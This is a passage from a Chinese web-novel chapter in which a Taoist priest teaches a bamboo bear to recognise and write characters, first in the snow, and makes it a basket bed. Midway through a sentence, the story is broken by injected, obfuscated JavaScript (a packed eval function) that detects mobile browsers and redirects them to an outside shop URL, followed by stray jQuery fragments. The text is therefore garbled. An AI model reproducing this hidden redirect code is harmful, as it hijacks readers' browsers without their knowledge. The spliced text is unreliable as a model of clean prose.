日子一天天过去，院子里的老树叶子从金黄落尽，只剩光秃秃的枝丫伸向灰白的天。
道一教黑白认字，从“人”字开始，慢慢加到“大”“天”“山”“水”。他用木炭在木板上写一个字，念给它听，然后指着那个字，让它看。
黑白蹲在旁边，盯着那些弯弯曲曲的线条，把它们的形状记住。它不会写——爪子握不了笔，木炭也拿不稳，它只能看，只能记。
道一每天写十来个字，教完了就把木板放在它面前，让它自己看。
黑白趴在木板前面，一个字一个字地看过去，看完一遍再看一遍，看到眼睛发涩了，就把下巴搁在桌沿上，等着道一收走。
道一不光是教它认字，还教它背书。他念一句，它听着，念完了，让它复述。
黑白当然说不出话来，它只是一只竹熊，不会说话。但它记住了那些声音，一个字一个字地记在脑子里。道一念“道可道，非常道”，它就听着，把那些音节一个一个地记住。
道一念完了，看着它的眼睛。它的眼睛黑亮亮的，里面映着他的影子，映着桌上的木板，映着院子里光秃秃的老树。道一看了很久，点点头，说：“记住了。”
他不知道它是怎么记住的，但他能从它的眼睛里看出来——它听进去了，记在脑子里了。就像它能听懂他的话一样，它能记住他念过的每一个字。
有时候道一念完一段，会停下来问它：“刚才念的什么？”
它当然不会回答，但它会把脑袋歪一下，眼睛往上看，好像在回想。然后它看着道一，尾巴在地上扫一下。道一就知道了，它记住了。
有时候它会听完以后把脑袋埋进前爪里，趴着一动不动，道一就知道它没记住，就再念一遍。它不抬头，他就再念一遍。
念到第三遍的时候，它抬起头，看着他，尾巴扫一下。他就翻过去，念下一段。
道一从来没觉得它不会说话是什么问题。它不说，但他能看出来。它的眼睛会说话，它的耳朵会说话，它的尾巴会说话。
它把脑袋歪一下，他知道它在想。它把耳朵往后抿一下，他知道它在不好意思。它把尾巴在地上扫一下，他知道它懂了。
它把下巴搁在他脚背上，他知道它在说“我在”。
道观的香火不好，从黑白来了以后，从没见过香客来上香。前殿的门有时候开，有时候关，但从来没有人进来。
道一也不在意。他在后院扫地、做木工、制香、看书、教黑白认字。日子安静得像院子里的老树，一天一天地过，不急不慢。
黑白只见过道一一个人，它以为这个世界就是这样的——一个人，一只竹熊，一个院子，一片竹林。它不知道外面还有什么，也不想知道。这里有道一，有窝窝头，有竹窝，有窗台上那些它带回来的东西。
天越来越冷了，笋已经没有了，它就吃竹叶。嫩一点的竹叶，绿绿的，嚼起来有一股清苦的味道，没有笋好吃，但也能填饱肚子。
它在竹林里待的时间比以前短了，吃够了就回来，趴在屋檐下面的棉垫上，把下巴搁在前爪上，看着道一做事。
道一有时候在院子里做木工，有时候在屋里看书。它趴在那里，看他刨木板，看他凿榫眼，看他用砂纸把木面磨光。刨花一卷一卷地从刨子里涌出来，落在地上，它有时候会跑过去叼一片，放在道一脚边，然后跑回来继续趴着。
道一看着它缩成一团的样子，想起它刚来的时候，翻墙进来，在墙根趴半天才敢靠近。
现在它每天都来他的道观，吃他做的窝窝头，跟他学认字，每天从竹林来还要给他带东西。
一根笋，一朵花，一片叶子，一块石头。那些东西没什么用，他都收着。
窗台上挂着的干笋、陶罐里插着的枯草、书页里夹着的花瓣、枕头底下压着的红叶，都是它带给他的。
有一天，黑白从竹林回来，嘴里叼着一根竹枝。竹枝上挂着几片叶子，绿绿的，在风里轻轻晃。它跑到道一面前，把竹枝放在他脚边，仰着头看他。
道一弯腰捡起来，看了看。竹枝不粗，叶子很嫩，上面还带着一点水珠。
他把它插在墙根的陶罐里，和那些枯了的草插在一起。绿的绿，黄的黄，在风里沙沙地响。站在陶罐前面，看着那根竹枝，站了很久。
他转身进了杂物间，翻出几根竹子。竹子是夏天从后山砍的，一直堆在角落里，干透了，颜色从青绿变成了淡黄，敲上去当当响。
他把竹子劈成篾条，泡在水里浸软，然后坐在院子里，一根一根地编。
篾条在他手里很听话，该弯的弯，该直的直，编出来的纹路整整齐齐，一圈一圈的。他编了很多年，年轻的时候就学会了，后来虽然不怎么编了，但手艺还在。篾条在指间穿来穿去，沙沙沙沙的，声音不大，但很密。
黑白探出脑袋，看着他的手。那些篾条在他手里翻来翻去，慢慢地变成一个圆圆的形状，像一个大碗，但比碗深，比碗大。编到一半的时候，黑白走到他旁边，蹲下来看。
它歪着头，看那些篾条一根一根地加进去，看那个圆圆的形状一点一点地变高。它伸出爪子，轻轻地碰了碰编到一半的窝沿，篾条弹了一下，它吓得缩回去，然后又伸出来，又碰了一下。
道一没有赶它。它就蹲在旁边，看他编完最后几圈，把边沿收好，把多余的篾头剪掉。
一个圆圆的竹筐做好了。不大不小，刚好能放下黑白整个身子。道一把它拿到屋里，放在自己床边的墙角，在里面铺了厚厚的稻草，又垫了一层旧棉被。
他蹲下来，拍了拍窝里的垫子，看着黑白。
黑白站在门口，看着那个竹筐。它走过去，用鼻子闻了闻。竹子的味道，稻草的味道，还有道一手上的气味。它把前爪搭在筐沿上，往里面探了探脑袋。稻草软软的，棉被暖暖的。它跳进去，在里面转了一圈，又转了一圈，然后趴下来，把下巴搁在筐沿上，看着道一。
尾巴在筐里扫了一下，又扫了一下。
“这是你的。”道一说。
它把脑袋在他手心里蹭了蹭，然后缩回去，把整个身体蜷在竹筐里。竹筐不大不小，刚好放下它整个身子。它把鼻子埋进尾巴里，闭上眼睛。
道一站起来，吹了灯。屋里黑了，只有窗外的月光透进来一点点，照在竹筐的边沿上。
从那以后，黑白就睡在道一屋里了。
每天晚上，道一在灯下看书，它趴在竹筐里，把下巴搁在筐沿上，看着他翻书页。灯芯偶尔噼啪响一声，它的耳朵动一下，然后又不动了。
道一看完书，吹了灯，躺在床上。它从竹筐里探出脑袋，朝床的方向看一眼，它知道他在那里就很安心。
它把脑袋缩回去，闭上眼睛。
它白天还是去竹林，吃饱了就回来，有时候叼一根竹枝，有时候叼一片叶子，有时候什么都不叼，只是跑回来，趴在道一脚边，把下巴搁在他的脚背上。
有一天，它从竹林回来的时候，嘴里叼着一块石头。石头不大，圆圆的，被溪水冲得很光滑，在阳光下泛着微微的光。
它路过溪边的时候看见的，在水底下一闪一闪的。它把爪子伸进水里捞了半天才捞出来。叼着石头进门的时候，石头滑溜溜的，差点掉了。
它跑到道一面前，把石头放在石桌上。道一正在看书，抬起头，看见桌上多了一块石头。圆圆的，滑滑的，灰白色的底子上有几道深色的纹路。他拿起石头，在手里转了转。
“哪里捡的？”他问。
黑白蹲在石桌旁边，尾巴在地上扫了一下。道一把石头放在桌上，继续看书。
黑白趴在他脚边，看了一会儿，又抬起头看那块石头。石头在阳光下亮晶晶的，纹路一闪一闪的。它看了一会儿，把下巴搁在道一脚背上，闭上了眼睛。
道一看完书，把石头拿起来，走进屋里。他把它放在窗台上，和那些干了的笋、枯了的草、夹在书页里的花瓣放在一起。
那场雪是几天后来的。
黑白记得那天早上从竹筐里跳出来的时候，道一正站在窗前看着外面。
它凑过去，踮起后腿往窗外看——院子里白了，石桌白了，石凳白了，墙根的兰草也白了，只剩几片叶子尖还露在外面。雪还在下，不大，细细的，像有人从很高的地方往下撒盐。
道一低头看它，“下雪了”他说。
它知道雪。去年冬天它就见过，白白的，凉凉的，落在鼻子上一下子就化了。但那时候它还不认识道一，还不知道自己叫黑白，还不知道雪可以用爪子写字。那时候雪就是雪，冷就是冷。
它从屋里跑出去，爪子踩在雪地上，噗嗤噗嗤响。雪很软，陷进去半个爪子。它跑了几步，停下来，回头看自己的脚印——一串小小的坑，歪歪扭扭的，从门口一直通到院子中间。
它又跑了几步，又回头看。跑累了，就站在院子中间，仰着头，让雪落在脸上。
雪落在鼻子上，凉凉的，它打了个喷嚏。落在耳朵上，它甩甩头。落在背上，它抖抖毛。它在雪地里转圈，追那些飘下来的雪花，追不到，就扑在地上，爪子拍起一片雪。
道一站在屋檐下，看着它。
它跑了一阵，在院子中间停下来。雪已经积了薄薄一层，盖住了石板地的颜色。它低头看着那片白色，突然想起什么。
它抬起爪子，在雪地上划了一道。雪很软，爪子划过去，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446822|201100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
露出底下灰扑扑的石板。那道痕迹弯弯曲曲的。
它又划了一道，这次用力一些，痕迹深了一些，但还是歪的。它退后一步，看了看，不满意。
又走上前，重新划。这一次它放慢了动作，爪子慢慢地、稳稳地斜着往下拉。一撇。然后从另一边，斜着往下拉。一捺。一个“人”字。
它退后两步，看着雪地上的那个字。歪歪扭扭的，撇不直，捺也不直，两笔搭在一起，勉强看得出是一个“人”字。是道一念给它听的那个字，是道一写过很多遍的那个字，是它第一次想写出来的字。
它抬起头，看着道一。
道一站在屋檐下面，他站在那里，看着雪地里的那只竹熊，看着它用爪子一笔一画地写出那个字。
他走下台阶，走到雪地里。雪已经积了一指深，踩上去噗嗤噗嗤响。他走到黑白面前，蹲下来。
他看着那个字。歪歪扭扭的，是一只竹熊用爪子写的“人”字。他伸出手，摸了摸它的头。它的毛上沾着雪，湿湿的，凉凉的，但底下的皮肉是暖的。
“你什么时候学会的？”他问。
黑白没有回答。它只是看着他，尾巴动了动。
道一没有再问。
他站起来，走到墙根下面，折了一根枯枝。枯枝细细的，不长，刚好能握在手里。
他走回来，蹲在黑白旁边，用枯枝在雪地上重新写了一个“人”字。撇，捺。一笔一画，工工整整。
“人。”他念了一声。
黑白低头看了看道一写的字，又看了看自己写的字。它写的太丑了。它伸出爪子，在雪地上又写了一遍。这一次它写得很慢，很认真，一笔一画地跟着道一的笔画走。
撇，捺。写完退后一步看——比刚才好了一点，但还是歪的。
道一没有笑它。他又写了一个“人”字，在旁边。黑白看着，又写了一个。道一写一个，它写一个。
雪地上很快就布满了大大小小的“人”字，有的工整，有的歪扭，有的深，有的浅。道一写的在最左边，一行五个，整整齐齐。
黑白写的占满了剩下的地方，横七竖八的，像一群站不稳的小熊。
黑白写累了，趴在雪地上喘气。它的爪子上沾着雪，湿湿的，凉凉的。它舔了舔爪子，舔了一嘴的凉。
道一站起来，看着它说“明天继续。”
晚上雪停了。月亮从云层后面露出半个脸，照在雪地上，照在院子里的那些字上。大大小小的“人”字铺了一地，有的被风吹散了，有的还在。
第二天，雪还没有化。黑白从竹筐里跳出来，跟着道一走到院子里。它没有先去吃窝窝头，而是走到雪地上蹲下来。
它抬起爪子，在昨天的字旁边又写了一个“人”。还是歪的，但比昨天好了一点点。道一出来的时候，手里拿着一根树枝。他走到黑白旁边，蹲下来，在雪地上写了一个字。
“一。”他念。
黑白看着那道横线，抬起爪子，在旁边写了一道。歪歪扭扭的，但方向是对的。
“丨。”道一又写了一道竖线。
黑白跟着写了一道竖线。然后道一把一横一竖拼在一起，写了一个“十”字。
黑白看着，也写了一个。它的“十”字交叉的地方不在中间，偏了。
道一没有说话，又写了一个。黑白跟着又写了一个，交叉的地方在中间了。
道一看了它一眼，他没有说话，但他嘴角笑了。
从那天起，道一每天都会教它写字。用树枝在雪地上写，雪化了就土灰上写。
每天只教几个字，教得很慢。黑白学得也慢，但它不急，道一也不急。
道一写一个，它跟着写一个。写对了，道一不说话，只是继续写下一个。写错了，道一也不骂它，只是把正确的再写一遍，让它看。
黑白有时候会不耐烦。写了几遍写不好，它就把爪子收回来，趴在地上，把下巴搁在前爪上，不想写了。
道一也不催它，就坐在旁边，等它自己趴一会儿。
趴够了，黑白会自己站起来，把爪子伸出来，再试一次。道一就继续教。
有一天，黑白在雪地上写完字，抬起头，看见道一站在屋檐下，手里端着一杯热茶，看着它。他的眼睛里有雪，有院子，有那只趴在雪地上的竹熊，还有别的什么——说不上来的，暖暖的，像茶碗里冒出来的热气。
黑白低下头，又写了一个字。这次写得很好，撇捺都正，两笔搭在一起，稳稳当当的。
它退后两步，看了看，然后抬起头，看着道一。道一走过来，蹲在它旁边，看了看那个字，伸出手，摸了摸它的头。
“好。”他说。